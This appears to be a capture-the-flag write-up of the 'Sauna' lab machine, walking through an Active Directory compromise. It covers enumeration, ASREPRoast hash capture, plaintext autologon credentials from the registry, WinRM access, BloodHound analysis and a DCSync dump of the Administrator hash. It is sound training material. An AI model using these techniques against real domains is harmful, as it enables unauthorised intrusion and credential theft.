We can apply a little filter to the sauna.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Tue Sep 30 03:31:27 2025 as: nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49676,49688,49695 -sCV -n -Pn --disable-arp-ping -oN sauna.targeted 10.129.95.180Nmap scan report for 10.129.95.180Host is up (0.11s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Egotistical Bank :: Home| http-methods:|_ Potentially risky methods: TRACE88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-30 01:49:51Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49667/tcp open msrpc Microsoft Windows RPC49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049674/tcp open msrpc Microsoft Windows RPC49676/tcp open msrpc Microsoft Windows RPC49688/tcp open msrpc Microsoft Windows RPC49695/tcp open msrpc Microsoft Windows RPCService Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time:| date: 2025-09-30T01:50:50|_ start_date: N/A| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_clock-skew: 18m22sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Sep 30 03:33:06 2025 -- 1 IP address (1 host up) scanned in 98.93 seconds
139, 445 - SMB
As always, let’s start by listing available information about the target through SMB
Judging by the open ports, it seems that we are facing a DC (Domain Controller)
So, we can gather some general information such as the hostname, OS Version and domain name
nxc smb 10.129.95.180
Command Output
SMB 10.129.95.180 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
Moreover, there is relevant information related to security aspects such as SMB Signing and if the target supports SMBv1
Be aware that disabling SMB Signing involves being exposed to some primes such as NTLM relay over SMB
This attack vector allows an actor to be able to authenticate to the target via NTLM over SMB by relaying a received authentication over SMB or HTTP
Remember that the RPC Endpoint Mapper is listening on this port, and is responsible for mapping any RPC Endpoint to a certain Dynamic Port[s] or system namedpipes
We could try to authenticate to an specific RPC endpoint in order to list some information about the DC and the domain such as users, groups, GPOs and so on
Since we still do not have credentials, we will carry out another Null authentication
It seems that we have a valid user account called Hugo Smith
88 - Kerberos #1
From here, we have to find out the naming convention used when creating the domain user accounts
For this task, we can use username-anarchy to create a userlist with a few variations of the nameHugo Smith. Then, we can carry out a domain user enumeration with kerbrute’s userenum module to check if any of the usernames are valid
And now, we may know the naming convention along with a valid domain user account
With a valid user account, we can check if it has the USER_DONT_REQ_PREAUTH flag set on its userAccountControl attribute by performing an ASREPRoast attack
If so, the KDC will respond with an AS_REP containing a TGT and an Encrypted Part, encrypted with one key derived from the given user account password
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
But this user account is not susceptible to ASRepRoast
So, before proceed to carry out a more exhaustive user enumeration with kerbrute using a userlist from statistically-likely-usernames, let’s check out the website hosted on the DC to see if we can gather more relevant information
80 - HTTP
First, we send an HTTP request to see the HTTP response headers
curl --silent --location --request GET --head "http://10.129.95.180"
Wappalyzer does not report anything that we already don’t know
Zoom in
Browsing the website, the only interesting thing we found is the following section related to the team members
Zoom in
But I dont think those names can give us valid user accounts
Let’s apply fuzzing to the website
In this case, we will search for directories and HTML files since the home is an index.html
gobuster dir --threads 100 --extensions html --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url 'http://10.129.95.180'
We are running out of options, one of the few remaining things we can perform is a kerberos user enumeration with a larger wordlist taking advantage of the fact that with we know the domain naming convention
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:363660695d095b2a16d95a4f6bd87834$151d3c3f957468a9cff778f1b589f946e6b5c49d71b2d56be2f4edacb548015735dc1036a3234b886022bcf703f1eabf351ebd1dee7ae9cb180af53f0cd69d153d88000083eb253236297a44c44ce2ae36c9abb685ef310e30bcd996d534229b0d5355444e404cf4a8c19f5d708f1db57e500d984dba334039e0f6dc77b7da4ab826bed577526a6facfe3e45d41273a3bcccb874655c6dceeffd50d5beb76241d4f836421191680d13614cf6dac540615118839568bd14e78e4be1843e374e7c59e4c7c11fe74cf0e2b4119bec8dd840360641acddc1340e1cb831c9decce7f8788a396d4bdc11a09118d5a17ac63c3a1e933d9b0dc6235609ca8d6a3edd5587
And this user has the DONT_REQUIRE_PREAUTH flag set. Let’s try to crack this hash
The hashcat type for the given hash format can be extracted from here or running
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:3bc070cdff549f489f6fbbffa8a484ce$6bc06311bf09de1d3d533896d215f8b004f481fc5aa4fb22eaad2f1d690f24a5df0e87de99a994458e0c9e1e4b9bc06dd3245e2c0ace45dfc4daa07470821d40ab8248f7d9d7646b7951b97b7b2a9a37c3676e9772d33bdd39e5a973fe0631c3bcdd70cd16977ff7b148d848835ed1eec01b68767513e3ba64ad3d9775ccd370342c37f6bece8dfbf62f4db6ec03e365e0f8e14e61f288d0ab343bc8e0d2083de5bee2bb28b9808714b5c45ccae3f0584d4c50c3b0325ef551086807ceacbff655048185333fb960fff2a525ed0fef56dfae85547ad7bd60bfb1207a30546bc589212cdf54854a97da836509c2b760bf1e55990ca0d05f51153764e06fa0cb52[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User HSmith doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User svc_loanmgr doesn't have UF_DONT_REQUIRE_PREAUTH set
In this case, there are no more susceptibles users to this attack aside from the compromised user account
As we have valid domain credentials, we can list all existent servicePrincipalNames attributes of any domain service account in order to request a Service Ticket (ST) for the given SPN and obtain a Service Ticket from the TGS, which is encrypted with a key derived from the service account password related to the requested SPN
I.e. If an actor requests a service ticket (ST) for a specific SPN of a service account by providing valid credentials (TGT + Enc-Sign Authenticator), the resultant ST will be encrypted with a key derived from the service account password
e.g.
Attacker authenticates as fsmith@egotistical-bank.local
Attacker requests a Service Ticket for HOST/jdoe.egotistical-bank.local
Service Ticket encrypted with a key derived from jdoe@egotistical-bank.local password
Therefore, if we end up cracking the service ticket, we will obtain the plain password of the given service account
We can list the existing servicePrincipalName attributes of any service account as follows
Simply set up an HTTP Server with python and access them from the browser
python3 -m http.server 80
After digging into the data, there is not much relevant information apart from the fact that the users fsmith and svc_loanmgr belong to the Remote Management Users group, which means that both users may be able to establish a WinRM session with the DC
Zoom in
Let’s check it for the user fsmith, which we control
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\FSmith\Documents>
And we are in! Let’s see how we can privesc
Privesc #1
Initial Non-Privileged User → fsmith
Autologon stored credentials
As we know, the current user does not belong to any interesting group aside from Windows Remote Management users group
But, we could check the privileges associated with the current access token under the WinRM session to see if there are any interesting ones
whoami /priv
Command Output
PRIVILEGES INFORMATIONPrivilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled
But there is no one interesting
We did not find nothing inspecting the target file system. We have checked system paths such as →
C:\
C:\Program Files
C:\Program Files (x86)
C:\Users
C:\Users\fsmith
C:\inetpub
Before running enumeration tools such as Winpeas.exe or PowerUp.ps1, let’s perform some additional enumeration
Let’s see if there are any stored credentials on the available Windows Vaults
cmdkey.exe /list
Command Output
Currently stored credentials:* NONE *
But there are not any
We can also check for autologon credentials stored in plain text. We can carry out this task by checking an specific value from the Windows Registry
And it seems that we have a valid credential for the user svc_loanmgr, which also belongs to the Remote Management Users group
In this case, we were able to obtain the autologon credential in plain text as the values were configured manually
There are other solutions/tools that store those credentials encrypted using Windows DPAPI (Data Protection API). To do so, DPAPI encrypt functions use the user masterkey, a symmetric encryption key created when a user logs into the system for the first time
One of this tools would be Autologon.exe from Microsoft Sysinternals
Therefore, we proceed to check if the obtained password is valid for the svc_loanmgr user
Just in case, we can also perform a password spraying with that credential
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
And we are in as svc_loanmgr
Privesc #2
Initial Non-Privileged User → fsmith
DCSync via DACL Abuse
There is not much more we can list in the target that we have already done before
We get nothing inspecting the C:\Users\svc_loanmgr directory
Therefore, before deploying BloodHound locally and import the data obtained into it by performing an AD dump, let’s run an exhaustive local enumeration tools such as Winpeas.exe
From the Attacker
curl --silent --location --request GET "https://github.com/peass-ng/PEASS-ng/releases/download/20251001-67326308/winPEASx64.exe" --output winpeas.exe
After examining the output generated by the tool, there is not much that we do not already know
There is no need to import and run PowerUp.ps1 as the above tool performs a more exhaustive enumeration
As a last resort before proceeding with BloodHound, let’s check for any existing ACL that our controlled user account has over the Administrator account or the domain object
We can perform this task either remotely using Impacket DACLEdit.py or locally using Powerview.ps1
[+] BloodHound is ready to go![+] You can log in as `admin` with this password: TNToR4iFaUkGoVmjEAxFVGI23LDglq2P[+] You can get your admin password by running: bloodhound-cli config get default_password[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/login
We have the credentials and URL to access the BloodHound panel above
Then, all docker containers related to BloodHound and Neo4J will be deployed automatically as we can see below
docker ps --all
Command Output
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES8edc0ec85459 specterops/bloodhound:latest "/bloodhound -config…" 55 seconds ago Up 44 seconds 127.0.0.1:8080->8080/tcp bloodhound-bloodhound-159f5bc7ec795 neo4j:4.4 "tini -g -- /startup…" 55 seconds ago Up 54 seconds (healthy) 127.0.0.1:7474->7474/tcp, 7473/tcp, 127.0.0.1:7687->7687/tcp bloodhound-graph-db-1485dae8794ea postgres:16 "docker-entrypoint.s…" 55 seconds ago Up 54 seconds (healthy) 5432/tcp bloodhound-app-db-1
All that remains is to run an collectors either remotely using BloodHound.py or locally using SharpHound
2025-10-01T15:53:26.2008127-07:00|INFORMATION|Output channel closed, waiting for output task to complete2025-10-01T15:53:26.2944841-07:00|INFORMATION|Status: 297 objects finished (+297 49.5)/s -- Using 61 MB RAM2025-10-01T15:53:26.2944841-07:00|INFORMATION|Enumeration finished in 00:00:06.55199382025-10-01T15:53:26.3726058-07:00|INFORMATION|Saving cache with stats: 16 ID to type mappings. 0 name to SID mappings. 1 machine sid mappings. 2 sid to domain mappings. 0 global catalog mappings.2025-10-01T15:53:26.3882286-07:00|INFORMATION|SharpHound Enumeration Completed at 3:53 PM on 10/1/2025! Happy Graphing!
We can transfer the generated ZIP file to the target using smbserver.py and net use or faster using the download WinRM builtin functionality
download 20251001155321_BloodHound.zip
Command Output
Info: Downloading C:\Windows\Temp\BH\20251001155321_BloodHound.zip to 20251001155321_BloodHound.zipInfo: Download successful!
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)INFO: Found AD domain: egotistical-bank.localINFO: Getting TGT for userWARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)INFO: Connecting to LDAP server: sauna.egotistical-bank.localINFO: Testing resolved hostname connectivity dead:beef::c91b:91ac:634d:d52cINFO: Trying LDAP connection to dead:beef::c91b:91ac:634d:d52cINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 1 computersINFO: Connecting to LDAP server: sauna.egotistical-bank.localINFO: Testing resolved hostname connectivity dead:beef::c91b:91ac:634d:d52cINFO: Trying LDAP connection to dead:beef::c91b:91ac:634d:d52cINFO: Found 7 usersINFO: Found 52 groupsINFO: Found 3 gposINFO: Found 1 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCALINFO: Done in 00M 14SINFO: Compressing output into 20251001180717_bloodhound.zip
Next, we will import one of those generated ZIP files into BloodHound as follows
Zoom in
Zoom in
Once the data is imported, first, access to the “Search” section, search for the user account svc_loanmgr and mark it as owned 💀
Then, right click on its node and expand the “Outbound Object control” section
Zoom in
We can see that there is only one Outbound Object Control for the user svc_loanmgr over the domain object egostistical-bank.local
Zoom in
If we click on it, another graph is deployed where we can see several links established between the user svc_loanmgr object and the domain object
All of them related to the DCSync-related rights
Therefore, let’s perform remotely the DCSync attack
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4eAdministrator:des-cbc-md5:fb8f321c64cea87f[*] Cleaning up...
And we have extracted the NT hash of the user Administrator via DRSUAPI by calling DCGetNCChanges
Note that this attack could be performed locally using the following Mimikatz module
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Content C:\Users\Administrator\Desktop\root.txt
And that’s all for now, move on to the next one 😊!